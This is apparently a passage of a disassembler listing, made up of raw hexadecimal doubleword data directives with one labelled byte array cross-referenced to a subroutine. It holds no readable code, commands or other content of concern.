		dd 51068810h, 82790E6Eh, 0D86F59BEh, 6720AF19h,	17462588h
		dd 0B19CB82Fh, 0AA20A18h, 6C020883h, 0FBE98270h, 3ED0D86Fh
		dd 5E4CE5D2h, 0BE855ED6h, 1A3250E1h, 0CEB9CD1Ch, 43AB3735h
		dd 799F508Ch, 4BFD01A7h, 0BF83F381h, 67D86493h,	0F179E1FFh
		dd 30C9B428h, 9C23AA32h, 7E1FEDDFh, 0D77EF68Fh,	343C2615h
		dd 0F1A78673h, 16FF67D1h, 2341DAA6h, 795210B7h,	0F59C3503h
		dd 0A7861AE7h, 0C8B626F1h, 0FE10982Fh, 0FFCBC19Ah, 86CA8B15h
		dd 0C028F1A7h, 1BB23A28h, 0C7DCC380h, 1A5C9D9Dh, 7708D47Bh
		dd 7BF9A69Bh, 8C9A3301h, 0D8886920h, 0CC5856EFh, 33017B64h
		dd 69208C9Ah, 3A8A752Eh, 0BCE80E94h, 3BFC845Dh,	99E9A680h
		dd 7C48982Fh, 0DD55EEDBh, 23BC8804h, 83444C05h,	0E1E9A680h
		dd 7958EF77h, 6700CEBEh, 8A5AF179h, 0F73C25BEh,	0A680B079h
		dd 0AF660EE9h, 20EAE2BFh, 41022A87h, 19521C06h,	0EA837272h
		dd 0B7574E37h, 23071744h, 2595h, 0F6A53E06h, 7423BC86h
		dd 0FE9D3604h, 0A928C18Eh, 20AF4837h, 74438791h, 3CC3CDBh
		dd 8E79EB6Ah, 0AF666F5h, 8A89E271h, 89A44506h, 7818A319h
		dd 0E4AE4F3Eh, 39FAE34Bh, 8A946E37h, 6D24CC21h,	4C39B36Ch
		dd 0D4DCB5B3h, 218A9413h, 0A85FC771h, 0DEAB4C38h, 0F8F4AD45h
		dd 8CDA710Ah, 56EFDDCFh, 77612DBFh, 8A9430F9h, 4EE68E21h
		dd 0F0822A95h, 83F08973h, 0E1BAC171h, 89A816DFh, 45CC7421h
		dd 31CAB525h, 3BD49F33h, 5A25C52Dh, 432FA3C1h, 4A30BCAAh
		dd 0C78EA21Fh, 7C15E0DCh, 9A66066Eh, 0D077E301h, 39B32C95h
		dd 0CC1CB34Ch, 0B6547200h, 864623C4h, 0C9B735EEh, 74B53230h
		dd 98A21E32h, 0B524AB43h, 716F95FAh, 7DE5EE63h,	78F5A5D6h
		dd 0E0BF04B7h, 508C58E0h, 0A762E95Dh, 39Fh, 6029A7ECh
		dd 0BE218A4Ah, 0F5217F16h, 97E0CF7h, 0C72A27B8h, 0D74361C9h
		dd 23C4B030h, 3B29C15Ah, 0DA9B255Eh, 38218A12h,	1BE7F990h
		dd 55239982h, 0C7602CBCh, 1BBA51D9h, 9F7E7F60h,	0AA3D57B0h
		dd 1F878923h, 0E27B4636h, 0B933702Bh, 419F36CFh, 266FB4C3h
		dd 0BB543DAFh, 545C45ADh, 198FB093h, 31C047F1h,	2BEBAD92h
		dd 7DF55006h, 0C55E28A4h, 1C83600Eh, 0C372FD72h, 0DD76422Ch
		dd 43048C55h, 0A119901Fh, 7F449037h, 8919901Fh,	0BED2E9C6h
		dd 0D9E318A8h, 2BE27B49h, 6E5E813Eh, 0F18209A2h, 34DF301h
		dd 36CFB933h, 0B1729Fh,	3BB10000h, 3FABB952h, 54060C88h
		dd 9454159Bh, 0AB2218Ah, 96D6B9A2h, 32CBB710h, 0D88CCFC5h
		dd 0C8E67F48h, 0A9EAB55Ch, 0C0AE4733h, 3C51C734h, 59421E6Dh
		dd 0BB5426B2h, 4438266Fh, 77F9E27Bh, 198F79AEh,	4CAD640Ch
		dd 2612B39Ch, 0D48D258Dh, 5553ECD8h, 4F5DF6C5h,	0A6C44BE3h
		dd 8F795D2Ah, 30C9B219h, 3CD5A232h, 95AFD12Eh, 0C1821A1Bh
		dd 28138CBBh
		dd 3A176AE5h, 461199FAh, 418DA20Dh, 0BD1DBE6Bh,	716E5B16h
		dd 0E1056F8Eh, 9A16A8F8h, 198F86D1h, 0A62DC52Fh, 4C8625D5h
		dd 0AF9D0F03h, 58C1816h, 19808h, 81A80700h, 0C6907B68h
		dd 0F598048Bh, 9C240EF7h, 218A94DBh, 70178F39h,	169A8470h
		dd 218A9455h, 0B8A109B3h, 663B9CD7h, 8A3FA16Ah,	0E855FF21h
		dd 1EB592BCh, 2F199350h, 1EEDFF96h, 0E6A06690h,	0A941DD34h
		dd 6ED00FF0h, 2D45F87Eh, 480BC8A6h, 8A217F48h, 0DC73DD21h
		dd 5A56400Ch, 218A2191h, 34ED85EFh, 9B32CBB8h, 0AF9E0ECBh
		dd 0A16D7F16h, 14A2C213h, 6A02BEC7h, 0BDB34EB1h, 7BD45C1Dh
		dd 94A05D4h, 8A89BE87h,	1DB41C21h, 8A842BBFh, 0CBB93321h
		dd 21A83432h, 8709F3BFh, 218A84BEh, 633CB41Ch, 4D049D69h
		dd 7D32E48Ch, 8A8432F3h, 0B8289021h, 0A83432CBh, 51595740h
		dd 51267799h, 0B158DF6Eh, 7A11D8EEh, 15CDC7Bh, 36E0FB08h
		dd 97FAE5BEh, 0EFD191FCh, 77BCE76Eh, 0AA993A05h, 1F871311h
		dd 0FB897868h, 7D87429Fh, 653EB659h, 4A019A67h,	0BEFD08Bh
		dd 0F1A683B0h, 821BE585h, 8F51F864h, 0F1BAB6A0h, 4F198CCFh
		dd 931BB49Dh, 0ACCD481Bh, 0E87614D0h, 224404h, 34CDB500h
		dd 0B04933A5h, 28C1AF21h, 0B14A37A9h, 2AC3B222h, 0CEFC1AABh
		dd 45B766FFh, 0C434E37Ch, 3FB160F9h, 0E03BDA73h, 0A1DC9D23h
		dd 713A1989h, 0AF7F52Fh, 3B0ADA71h, 5F7290ADh, 0F67CF992h
		dd 0D28B23B9h, 9FC9E3EDh, 0D67D5366h, 0E5634C07h, 0FF3C91EFh
		dd 24A27603h, 2EA3F77Eh, 8F7945A7h, 89ED4811h, 0B63EA621h
		dd 6A03EFEDh, 4339F2E3h, 57C3E17Ah, 0F9326FDAh,	0A52C7EE3h
		dd 0EF7F5F7h, 420EDE75h, 0B63ED7A1h, 0B33D02EDh, 927694FBh
		dd 7DFA63D3h, 1D8DC28Ah, 74F29932h, 0CE5C2597h,	70570579h
		dd 5D4BE350h, 0E2AE3ED5h, 6E5ACA49h, 360BDAE0h,	8A51713Ah
		dd 9825CF21h, 82E39FF9h, 510CF413h, 24FD75FDh, 700D36BBh
		dd 0DB722D0Fh, 0F5DECE8Bh, 2FE64E5Ch, 961AD385h, 218A11D5h
		dd 2A198933h, 3401991h,	826BF89h, 0A53E0C9Ch, 68741B87h
		dd 2670247Ah, 9F2D1686h, 84493BA5h, 23C32BB4h, 45ADBB54h
		dd 4C106F8Eh, 0DBBD0086h, 9913CC64h, 0EECB20AEh, 98214721h
		dd 9F587910h, 961BDCE4h, 0CF79198Fh, 115A3838h,	0F53C0000h
		dd 69C2CC0Ah, 0FF77049Dh, 6B7D14C6h, 6D2EB29Ch,	0CB2189FCh
		dd 0BE9B8921h, 0FC3AFB85h, 30982189h, 0FC763B99h, 0A822189h
		dd 1C88A63Fh, 0AD193B75h, 0C62745DEh, 63FF3FC1h, 0C028C095h
		dd 7E17E5D7h, 1587CCD7h, 0D9078E27h, 2989B460h,	0C9622E9Eh
		dd 38047861h, 7219819Fh, 39C7B329h, 2E3A2160h, 1EF76F57h
		dd 2E9A5B65h, 50F81989h, 805F18B9h, 0FECD7F4Ch,	5EDB4765h
		dd 51F8CA6Dh, 3302A38Fh, 0A49129Ah, 88E9C586h, 0DC192519h
		dd 4D8D02D9h, 9FCF86EEh, 6904DDC2h, 8E7AE25Eh, 289534B0h
		dd 27AE2B43h, 6955F6C5h, 0E24AD2D0h, 0D4E18AFFh, 3F233B14h
		dd 205Dh, 0EE6D06CEh, 5CFB947Eh, 0D6851EECh, 51009966h
		dd 0D87710DFh, 0AC9B2F49h, 2B148413h, 0A6910392h, 321E8E0Dh
		dd 0E2A1FA99h, 899F1DDEh, 0F0B07B19h, 0C4A0AF5h, 2D87F8FEh
		dd 0D67746A6h, 0CA5250E9h, 0B6BA7962h, 2189A5F5h, 7362E953h
		dd 0E15D7B8h, 87232849h, 2A14E000h, 8A50E5A6h, 9994321h
		dd 550EA63Fh, 55D56E57h, 4AD2D069h, 0F6E6A3C3h,	5E76E07h
		dd 0D8B7A039h, 8A4ED2h,	0D8963DA5h, 61C700EDh, 6E07F495h
		dd 0A37CF480h, 0A5C35C29h, 9B5C643Dh, 0F92189F6h, 5E19B84Fh
		dd 0AF0CA56Eh, 7625EACh, 0CCAF66BDh, 4B7B1DCh, 8019E6D6h
		dd 0B653FA62h, 32h, 7C15DFDDh, 0CC3C116Eh, 0FB8A4A0Eh
		dd 0F5C0DC73h, 76740DF7h, 0E88019E6h, 9DE17361h, 0BBC5218Ah
		dd 218A88FAh, 7878F058h, 0FFFFFACFh, 0AB440D7Fh, 65327824h
		dd 71218A94h, 5FF68F7Bh, 825BC355h, 2651BC1Dh, 9B6A1583h
		dd 10FA6A02h, 8CC7D077h, 0A08E2710h, 0DE5F7D14h, 0C2298A6Fh
		dd 0C565FECAh, 4AAB62FBh, 1513AC9Ah, 0F73C258Dh, 220B985h
		dd 5F1F39Ah, 4E39B36Ch,	0A42BB7B5h, 34027A35h, 8F4F49Bh
		dd 0E7059E67h, 65F5F37Bh, 6324AC96h, 0C11989AFh, 45CC8F17h
		dd 1E14D3CCh, 1F032C10h, 8C740000h, 0AF464F3h, 8472E271h
		dd 0FFC6CEBh, 8675E776h, 0B9DF6EEDh, 0F2A13A09h, 7120B982h
		dd 0FC9B34FFh, 0A827C08Ch, 8B4C544Fh, 0E919899Eh, 523E425Eh
		dd 949F6868h, 53FD218Ah, 5E4102DBh, 0B69EA07h, 0EFB864BAh
		dd 4D2189BDh, 0EE7EECA3h, 0B8CF9422h, 0C741305h, 0A40CA43Dh
		dd 8995D4BBh, 0D99C5D63h, 52FA2189h, 0B6F8B1E5h, 9B844F1Fh
		dd 67695321h, 218A0C9Eh, 0CEDC54FCh, 0CCA8B15h,	0C028218Ah
		dd 0DBC4A128h, 24BD8804h, 82434D06h, 0E0218A0Ch, 8759F078h
		dd 89A02DBBh, 252C5362h, 5FDC6B0Bh, 16FF2664h, 89A9D19Ah
		dd 2DC52F21h, 0BF7F5AEh, 61E87472h, 0B763620Eh,	6D585404h
		dd 35D03DD4h, 0CF000000h, 4B59F2DDh, 0AD49128Eh, 3DA72189h
		dd 0F5821EB5h, 946932AEh, 1DC7218Ah, 9DD06A76h,	11FD218Ah
		dd 81E98270h, 0A66FF763h, 0B1AF4836h, 60D2A229h, 16FFFFF9h
		dd 2C0A0AF5h, 9AF90B3Eh, 3A97B9F3h, 747FA929h, 5E37AFEDh
		dd 99625E25h, 0F7218A92h, 9208D14Dh, 966218Ah, 0FC96471h
		dd 8108A0DAh, 0D1725D16h, 43524731h, 0C42EAA61h, 0C8266FE8h
		dd 0DE4EE7D4h, 0E54D5BF4h, 725CF2Eh, 0CF68524Ah, 16C249D1h
		dd 198FA250h, 303ED7A5h, 9E43D1BCh, 4F1C18BFh, 552F3DB5h
		dd 9883AD1Ah, 7D16E5D7h, 214C036Fh, 74FC37A8h, 198FB2B3h
		dd 4F20A711h, 34D6EA3h,	942D1795h, 8A870E96h, 474h, 0DF7F586h
		dd 22FFDD74h, 5F218A94h, 0A23B0676h, 4B072384h,	0E41A9FEFh
		dd 0A1E2C54Ch, 61E1F33Eh, 89A1965Fh, 0EF4CF421h, 9E35AB4Eh
		dd 2498824Eh, 5213BF58h, 0B02189E9h, 0D8B7A008h, 0D9A3D7A6h
		dd 0F2A1B340h, 628019E2h, 0FADB72FAh, 0E545E41h, 16A33C09h
		dd 9C33A7A2h, 11DF804Ch, 6A026A78h, 0B54E3BB1h,	9BD0501Eh
		dd 8A218A20h, 0DCED291h, 5A218A20h, 0FB65D46Dh,	8209A26Bh
		dd 5E25BAE7h, 8A209962h, 0C64DF721h, 7C705A26h,	6EF6F48Dh
		dd 8A2029F2h, 55DD8721h, 0A08F0DC6h, 8F9D36FFh,	0AC048B23h
		dd 0DDA550ABh, 5AB39927h, 0A89309D2h, 0CA43D07h, 6FFF961Eh
		dd 8F444DB2h, 0CBC0527Eh, 0EF7B6902h, 2410D077h, 321BA83h
		dd 69460F97h, 8F5E372h,	8CE9716Fh, 0D9662FD3h, 24B90AA1h
		dd 0F5E46B49h, 0EDB1553Ah, 3D2BC48Eh, 0E57A48B5h, 64509037h
		dd 830DF7C3h, 2189A5C2h, 0B830B820h, 9422EDDFh,	0E4CF3305h
		dd 5947DF56h, 6F2C3AD1h, 0D3EBAC34h, 9F492189h,	0D2D7ECE8h
		dd 410C2189h, 5C2ABAA8h, 95CCA5C3h, 2419042Ch, 1C7B647Bh
		dd 7EAB0A72h, 8878FB92h, 0AA04B73Ah, 0DCA74832h, 35BD2543h
		dd 0E924AB37h, 328h, 0AF7F523h,	6E07F171h, 8B5DF480h, 98311EBFh
		dd 69554710h, 0C34AD2D0h, 0A2432FA3h, 0C62E3CD5h, 0B22E752Eh
		dd 218A94E9h, 0E7F69D47h, 2BC4B02Ch, 3735CEBBh,	8A8C24ABh
		dd 8B99321Eh, 95CE871Fh, 0FE952E17h, 708164E2h,	6F5C5026h
		dd 0C54CD8D6h, 22BB8434h, 0E92D18Ah, 19907D4Dh,	1614AD9Ah
		dd 0EC52F8Eh, 3A098360h, 1816AF99h, 353B248Ch, 19907D74h
		dd 0F5E36AD2h, 19907D30h, 422BB85h, 7D804947h, 76DE1990h
		dd 74720BF6h, 0DE524F7Ah, 7F4C4003h, 0B55CC8E6h, 93D00FB8h
		dd 907D4C0Dh, 0B542AA19h, 0ED34DD5Eh, 82F59CD1h, 34DBF96h
		dd 0C9622CA0h, 93C742h,	0D0CC0000h, 0D4604EE7h,	0F7F55F3Dh
		dd 0ED75730Ch, 5CCC4E66h, 835CD46Dh, 0EFA63F09h, 0A15A2CB4h
		dd 4E3E2670h, 7BFCEA83h, 0F58D5F99h, 23AA4215h,	0FD9662D2h
		dd 4130AC75h, 0A1905957h, 86EE198Fh, 0DD7400EEh, 0B9EBD48Dh
		dd 6880CDB5h, 7F449037h, 0D4198FA9h, 0CC604EE7h, 0EA7A6801h
		dd 129A8821h, 0AC843D2Ch, 0EBF5AEF1h, 198FA92Ah, 3C29E088h
		dd 95605C83h, 762255FCh, 40034D63h, 2DE47D4Ch, 1A3E0h
		dd 0FECDBF00h, 68A4765h, 198FAD45h, 1AB139A3h, 0AF7F57Eh
		dd 77E77371h, 6AF2F089h, 4B3501E3h, 8A948445h, 8872E221h
		dd 169F1EFh, 4B4FB069h,	0C8C831Eh, 0A17AE89Fh, 0DBD4D53Eh
		dd 0A7958ABEh, 0FDEFA60Eh, 30AC750Eh, 35BDAB44h, 705CD09Eh
		dd 18AE60E2h, 0F07CB060h, 2ACC2913h, 79423E85h,	0D7218A79h
		dd 7F6D056Dh, 83FEE1A2h, 4AEDADB6h, 25CD8E0Ah, 702B218Ah
		dd 8A25A770h, 0D35B0521h, 52E0AC3Ch, 0EB21BF37h, 0A37CF4B7h
		dd 0D9C76029h, 9D1BBA51h, 218A4FA9h, 90311B91h,	921A08A1h
		dd 514F0C1Ah, 218A3F88h, 5FF67EE6h, 5520C18Dh, 0EAA534BCh
		dd 31B10105h, 31208EEAh, 6D43B075h, 1D973E79h, 7B5D42FBh
		dd 7B97E7A9h, 9F7740DCh, 6BD52189h, 11B51A03h, 0F2BD81DAh
		dd 0F0F0AB62h, 2676E5E8h, 0E8E8ABE8h, 198C931Fh, 7E47D37Dh
		dd 0DC198C93h, 0BF1CDD74h, 0BD94A51Ah, 0BBA40C1Eh, 0DF2FF878h
		dd 0E38D198Bh, 0BC30732Ch, 4F9138D1h, 0B10EC760h, 0D9078C03h
		dd 22B35AFEh, 3635C3B2h, 1C105CFFh, 9DFEE149h, 0C614D11Bh
		dd 19C35458h, 4C340000h, 0CAB424B3h, 4432A231h,	0CFBC2CABh
		dd 4635A736h, 799F2EADh, 32E17A49h, 0B160F9C2h,	3CDB743Fh
		dd 0E86700CCh, 4B0C948Fh, 0A9198998h, 4F3E821Eh, 949A5B65h
		dd 50F8218Ah, 6AA0FFD8h, 6BBD822Bh, 3FF8D970h, 0F1557B60h
		dd 771E7E61h, 1AE88975h, 1EF6381h, 7AF27A68h, 0CAB329F2h
		dd 0D39F3331h, 28C02C3Ah, 187730A1h, 26B77D25h,	0BAE66DFFh
		dd 6932AEF5h, 0C7218A94h, 4D2BAF28h, 83EB63CCh,	97301CCCh
		dd 0D52FE1BEh, 0EA16B13Bh, 0F5F38C7Ah, 0CB88E66Dh, 36FC3EE4h
		dd 0C64DDB48h, 70705A26h, 2189CCA7h, 44D35B05h,	95764h
		dd 0E8E8AB00h, 2189CC1Fh, 603CD37Dh, 7009F7F5h,	4E179972h
		dd 0AC218A94h, 6A25AC44h, 0AC95076Bh, 0CA43D0Bh, 0B5FF961Eh
		dd 25E6EAA3h, 83218A94h, 148851D9h, 9FF88F28h, 8A736F21h
		dd 0B0307329h, 1989B3E7h, 5F49B45h, 57CF6853h, 0A9420E7Eh
		dd 23982FBBh, 0B22EE769h, 1989B3E9h, 8535A847h,	0ECB3C7h
		dd 0A5170068h, 0F883FD8h, 0D46D5854h, 19C74ED6h, 1E6FC1BFh
		dd 0BD7E02FDh, 1B118FBFh, 0AB43DCA9h, 97625A43h, 0CD84F0FEh
		dd 0FAC8C49Dh, 692EAA61h, 0BE118FBFh, 25E6EAD4h, 83118FBFh
		dd 0BF5351D9h, 804B59F2h, 29F43C65h, 0EE877666h, 90DD7400h
		dd 58BC817h, 118FBF44h,	0E0933AA2h, 0B4D5930h, 0AA719D02h
		dd 0C8D8B771h, 7F6C441h, 88CB0000h, 8FAB3F08h, 9C339D11h
		dd 600AF500h, 34FE846h,	0A86D6B22h, 0B42189B7h,	16D2B04Bh
		dd 3CD35402h, 89DBD0A0h, 0D22FE121h, 0D10E5F4Ah, 23FC7421h
		dd 8D44DDA9h, 0DE6E5112h, 3BD49F5Fh, 6F38C52Dh,	6D6B2226h
		dd 2670295Bh, 0BB7C043Fh, 19199017h, 67D918AFh,	740DF798h
		dd 0AB35EEFCh, 199017EAh, 0A008A048h, 0CD646ABDh, 1F031B14h
		dd 17D1h, 32E17A42h, 0B05FF8C2h, 3AD97240h, 0B564FDCAh
		dd 3CDB7443h, 48378BADh, 0C7B020AFh, 523DAF2Eh,	0DEAA1AB9h
		dd 363D9645h, 8997713Ah, 9C04CF19h, 7009F7F5h, 0A23B07D9h
		dd 5EF7C3B9h, 69EBB7B7h, 946B2CB4h, 2AC9218Ah, 7B4767C1h
		dd 38B03841h, 69F6D5Fh,	0CAD57CE8h, 8E271389h, 0A8410CA0h
		dd 13BA32BAh, 8A1630C5h, 0D3A01C29h, 562933Ah, 9CC90869h
		dd 0C29B131Ah, 4664FDCAh, 2542038Dh, 38A01989h,	0FFB819B0h
		dd 826BF8Dh, 99BBF59Ch,	0A8C65F2Dh, 48E1AC3Ch, 815AD25Ah
		dd 890466FFh, 4934A421h, 4498615Fh, 4EF61188h, 0CE954EE6h
		dd 137477F1h, 8B0745C4h, 1187D9CAh, 8E09C028h, 24A7351Eh
		dd 6BE9DA51h, 0A923FC74h, 0DBA646DFh, 11B82442h, 525744C0h
		dd 0DE741188h, 55B2DD85h, 0C86000E7h, 13B49D0Fh, 0A929029h
		dd 7AEAEBA2h, 6801F091h, 0D8A51700h, 1DA883Fh, 0D57D3E42h
		dd 71DB1187h, 543E0ADAh, 87D58B4Ch, 0E77FE911h,	30D1BE2Eh
		dd 36BEAC45h, 8D44B0BEh, 0DF9B04DDh, 26F107D3h,	3BB34C3Ah
		dd 96FA1C94h, 410A86CDh, 9F11887Fh, 0A3646C35h,	111887Fh
		dd 0ACE7B057h, 0BFAD4630h, 8E409C33h, 92166E81h, 97952E1Ah
		dd 7AF5B6BAh, 0E953098Eh, 0CC2BCA81h, 5497F7Bh,	7E80B52Eh
		dd 0E92AE412h, 8936E981h, 0DA24CFC5h, 165B6044h, 4CC0000h
		dd 927CEC6Bh, 1CEA5AF9h, 9764D483h, 1EED5FFEh, 3147D685h
		dd 8A09A291h, 0F998311Ah, 7423BC87h, 0F09F3804h, 13D4DC97h
		dd 71198995h, 0F7F5EAA6h, 0EB77750Eh, 66CA4C64h, 9D36FF7Dh
		dd 336C238Fh, 0F68F7C70h, 0F7E56CF8h, 298A735Eh, 716B349Ch
		dd 927EEE87h, 0C87FEBF9h, 0D1CF94CFh, 1989B308h, 9557FE66h
		dd 0A33C0BACh, 8F11520Bh, 1989B3C6h, 0C415BC24h, 7F48480Bh
		dd 0DD1989B3h, 430CDC73h, 0B38E5759h, 0BAEE1989h, 0CFF7D68Fh
		dd 0BA80DF5Eh, 3D597257h, 0EBB43CB4h, 625F28A8h, 13BD198Ah
		dd 6285464Ah, 79E3198Ah, 0C5B794D2h, 0D74361FAh, 7C0CEC5Ah
		dd 692074F9h, 0D6A10D3Fh, 0A7ECB53Dh, 6902F0ECh, 89F42CEDh
		dd 0F0DA8A19h, 664FCF57h, 0BC53DFCDh, 89D38320h, 361FC921h
		dd 13B273FDh, 0A0101189h, 0C32F3DD6h, 0DC6A42Bh, 0A0FC6946h
		dd 0AE30777Eh, 88D56932h, 761DC711h, 5D631C3Eh,	1188D59Ch
		dd 0E8814AFAh, 72FA72FAh, 0B14A33A9h, 0F7A027B3h, 6EF6A779h
		dd 64530516h, 418063CBh, 6A24CEC7h, 152FF0F4h, 0D8A00000h
		dd 5620903Fh, 0E0AE1EBDh, 6B58C847h, 0E2D143D2h, 1D3BCA49h
		dd 9645DEADh, 15C45D26h, 903FD8A3h, 1CBB5420h, 0F7C0C0C3h
		dd 55198993h, 0AF5C6CAh, 6F8B77BDh, 0A345CCAFh,	0B44D36D7h
		dd 0DDC62EB6h, 0FDAFBFF2h, 89F7B273h, 4BA81021h, 12B97E02h
		dd 53F4C054h, 54E0CE67h, 0C344058Bh, 3AA22189h,	26AAE9B2h
		dd 2189C365h, 8D2611C3h, 6C006E25h, 881C0AA3h, 290321BAh
		dd 0D8AF813Eh, 0E4CB148Dh, 767240Dh, 4E1B77F4h,	191E7BF8h
		dd 0FA720BF5h, 0CA59153h, 0C7901053h, 25218A6Ch, 0AC514BBh
		dd 6C7E4749h, 74DC218Ah, 7F4EBF07h, 21A83B7Bh, 0B748A24Eh
		dd 29189404h, 210CF990h, 13000004h, 7F16AF99h, 9F7F521h
		dd 3DCFD970h, 86AEEEE4h, 7EF6D53Fh, 0C35C27A5h,	24C03DA5h
		dd 8E328867h, 144F48FFh, 2AEBC9ABh, 0FF39C65Fh,	0DBF99060h
		dd 266FBC95h, 0C65F2BA1h, 947EEE0Fh, 0ED85EDFBh, 54D7CB34h
		dd 4D5336EFh, 4EBA8C6h,	0D666D4CEh, 0FD4BAA36h,	1E2445B2h
		dd 0A7EDAE32h, 0A14B198Eh, 17B09909h, 0EEEAA109h, 198EA729h
		dd 7F1927Eh, 74E8066Eh,	60F4F28Bh, 0C403F992h, 0C98A55DBh
		dd 0C19CBFE6h, 0F4AD3FFDh, 0D6120E85h, 5914BB33h, 927D6F70h
		dd 967FEBF9h, 8F88511Ah, 8E45AF19h, 4C803DEDh, 3766503h
		dd 32AA0000h, 7927AE47h, 730CF7F5h, 8666ED75h, 573821BAh
		dd 8EDB4283h, 2846CD81h, 0ED86716Bh, 0CDC73FFh,	915A5640h
		dd 0DE218A43h, 71DB5AF3h
		dd 0E3AC20F9h, 0F7DB5C4Ah, 0C0DF6FD8h, 54850CA4h, 0BC55219Bh
		dd 0C4799B15h, 8A92FBBCh, 77EF5921h, 0CA632E9Eh, 581B5843h
		dd 8A938F58h, 0CC83ED21h, 70809210h, 0A0217E26h, 0B4E54A25h
		dd 23C031D8h, 23ED99F6h, 0A3109C8Ah, 258D125Eh,	0DB74403Ch
		dd 0C0AE65CDh, 5720A0E3h, 0B5199054h, 8D4E520Bh, 0EB199054h
		dd 490ECA81h, 9E199054h, 841816AFh, 0B27F1FB8h,	323D0B19h
		dd 6DE0BB75h, 4631AB34h, 0A55526ADh, 8F034DCCh,	8B99321Dh
		dd 959D681Fh, 82000000h, 4BF6BFC1h, 0EC541990h,	0F7F53765h
		dd 0D1DB720Bh, 48E1CF3Fh, 9448118Fh, 3EA6218Ah,	2AA6EDB6h
		dd 218A9461h, 444C15BFh, 218A9483h, 0C7D077E1h,	8B24108Ch
		dd 627E159Dh, 2670A188h, 932C16C6h, 87A50D95h, 4CE5D2CAh
		dd 5F4A17C5h, 0D29F1990h, 0CDB72B39h, 0F1603634h, 0E29D78B8h
		dd 0F8851EEAh, 0D9E50237h, 6A078E32h, 5D2AA23Dh, 0B038D1BCh
		dd 6F712AB2h, 19903CA6h, 0C2B55C04h, 34DD0D6h, 59C2FFE0h
		dd 815AF86Ch, 1CC3FCAh,	68640000h, 4B490099h, 20F70AF5h
		dd 0DA89DD51h, 0CD5553ECh, 523EAE65h, 3E2CC5B1h, 7A653EB6h
		dd 0DC98BD90h, 105EF558h, 0C7901053h, 27218A13h, 1A0351FBh
		dd 3AA211CEh, 78625193h, 89D22FF8h, 0F1DB8D21h,	7F58D058h
		dd 6A63F0Dh, 79E9A039h,	0C1622CA0h, 3ED55DF6h, 8154E2AEh
		dd 8EECD3C7h, 0B10EC75Fh, 0C72DFADDh, 0C99930C7h, 8BC3AF10h
		dd 477B744Bh, 0BB5420C0h, 561FA1E2h, 0A321899Ch, 0C32F3DD6h
		dd 0D4058C34h, 3FD8A11Bh, 0C612B921h, 21898FEAh, 57F0DAD2h
		dd 0BA2AE149h, 0CA632DCEh, 0FFD850DCh, 7F7B3C44h, 6FD92189h
		dd 613EF9D8h, 42DB178Fh, 491924C7h, 337B28DBh, 7A9C14BBh
		dd 8A064D16h, 2188E7C1h, 851EB51Fh, 75FBFBFBh, 3838FB26h
		dd 198BAA6Fh, 0B88323CDh, 0F299011Fh, 0BF880803h, 1D198BAAh
		dd 21623BB3h, 8BAAD69Fh, 58C3419h, 169AD99Ah, 198BAA55h
		dd 505009B3h, 198BAA87h, 14D47BE5h, 20B98425h, 951DB680h
		dd 22624D06h, 2F74569Fh, 0CBBA2AE1h, 3616DFE1h,	0CC74198Ch
		dd 454C8164h, 0E98514D1h, 114409h, 34CDB500h, 0B04933A5h
		dd 28C1AF21h, 0B14A37A9h, 2AC3B222h, 0CEFC1AABh, 45B766FFh
		dd 0C434E37Ch, 3FB160F9h, 0E03BDA73h, 90DC9D23h, 713A1989h
		dd 32AEF52Fh, 218A9469h, 902915C7h, 806F7118h, 6F7D16DFh
		dd 0F1B26B03h, 946D2EB2h, 21CB218Ah, 8A94B475h,	7DB51221h
		dd 0F41D15CFh, 0D8A242AAh, 12B9213Fh, 0A89408C3h, 819F3807h
		dd 0EAFA9119h, 0A58F7D1Eh, 89B75A1Bh, 9810B821h, 0D18A228Ah
		dd 7B05EFDBh, 2189B7BAh, 9138B018h, 9E288740h, 0F9625E25h
		dd 329E7603h, 60CCCD82h, 0F7F5EBA9h, 0EE76740Dh, 18B98567h
		dd 0E96942Dh, 0FA76BDA6h, 218A9431h, 402EE58Fh,	29B6963h
		dd 0FD178E4h, 24563923h, 7ABF3C5Bh, 187D3EDAh, 71DB218Ah
		dd 0DDAC20F9h, 934C8D44h, 89973019h, 6F383821h,	0CD218A18h
		dd 9D0C6C23h, 13000000h, 5267B2ACh, 867234D3h, 0D2CE85EDh
		dd 8EC0C1E5h, 0B0BE5722h, 0B0F3AC44h, 8A946730h, 741BC521h
		dd 8874682Bh, 0D57C58EFh, 2F298A73h, 0B3AB6C74h, 5F091989h
		dd 0D45CF5BFh, 8C78742Fh, 335CF3h, 18F7C70h, 0CAF05E3Ah
		dd 312FB798h, 888A22A9h, 7A453720h, 32712AE1h, 6EA66F71h
		dd 7F3198Ah, 0D8650F6Eh, 587FFFDDh, 9844CB95h, 2189FBE8h
		dd 6D06F4E8h, 32B817E6h, 30356A6Eh, 3CF7E048h, 88DC7334h
		dd 5DF6C011h, 0E8DF76DEh, 0FD8D89Bh, 6D1188DCh,	0C52C4C03h
		dd 70000000h, 6932AEF5h, 0C7218A94h, 1C3E761Dh,	5947E0ACh
		dd 0C38059D1h, 0AF66FFC9h, 709F8331h, 0CCD48F26h, 19905F0Bh
		dd 5FC8910Fh, 0BE261990h, 0FFFE953Fh, 21BA8804h, 905FB475h
		dd 0F8B51219h, 5199AE0h, 0DBC42CC4h, 0B14F1898h, 43AD198Fh
		dd 8705DE8Ch, 970321BAh, 974CE4F0h, 8675D67Ah, 9D6BFFEDh
		dd 0D40DE604h, 373C45EBh, 0D0DE7745h, 7C0AD64h,	54159BD8h
		dd 0B2198FC1h, 2729830Ah, 0BC34CDB7h, 911FE9E3h, 0E48F2DBBh
		dd 40C75F63h, 0D5A01C57h, 9947953Ch, 0FF1E764Bh, 0E3388960h
		dd 65D26099h, 791F7553h, 19026A32h, 2F3DD6A3h, 3533CCBBh
		dd 4F8E45ADh, 932C1894h, 1977CFCh, 9830000h, 0ADEBA23Bh
		dd 6932AEF5h, 0C7218A94h
		db 1Dh
byte_6121E1	db 76h,	3Eh, 1Ch	; DATA XREF: sub_5A55E5+1C04Do
		dd 22708CBFh, 0C8605E8Dh, 16AF9D0Fh, 9A058C18h,	0F3E7F6D9h
		dd 1AAF7539h, 78EB6A9Dh, 780FC402h, 8A6CB35Ch, 0F3D8B729h
		dd 7DBC69BEh, 7EDD1CB3h, 424078F0h, 0EC75F0Fh, 917B09Eh
		dd 1803EAA1h, 0B094555Bh, 4AF21989h, 14AFC8C3h,	0E9E8C25h
		dd 32BAA841h, 9D37C5B2h, 208F0188h, 310A1890h, 0C3A98740h
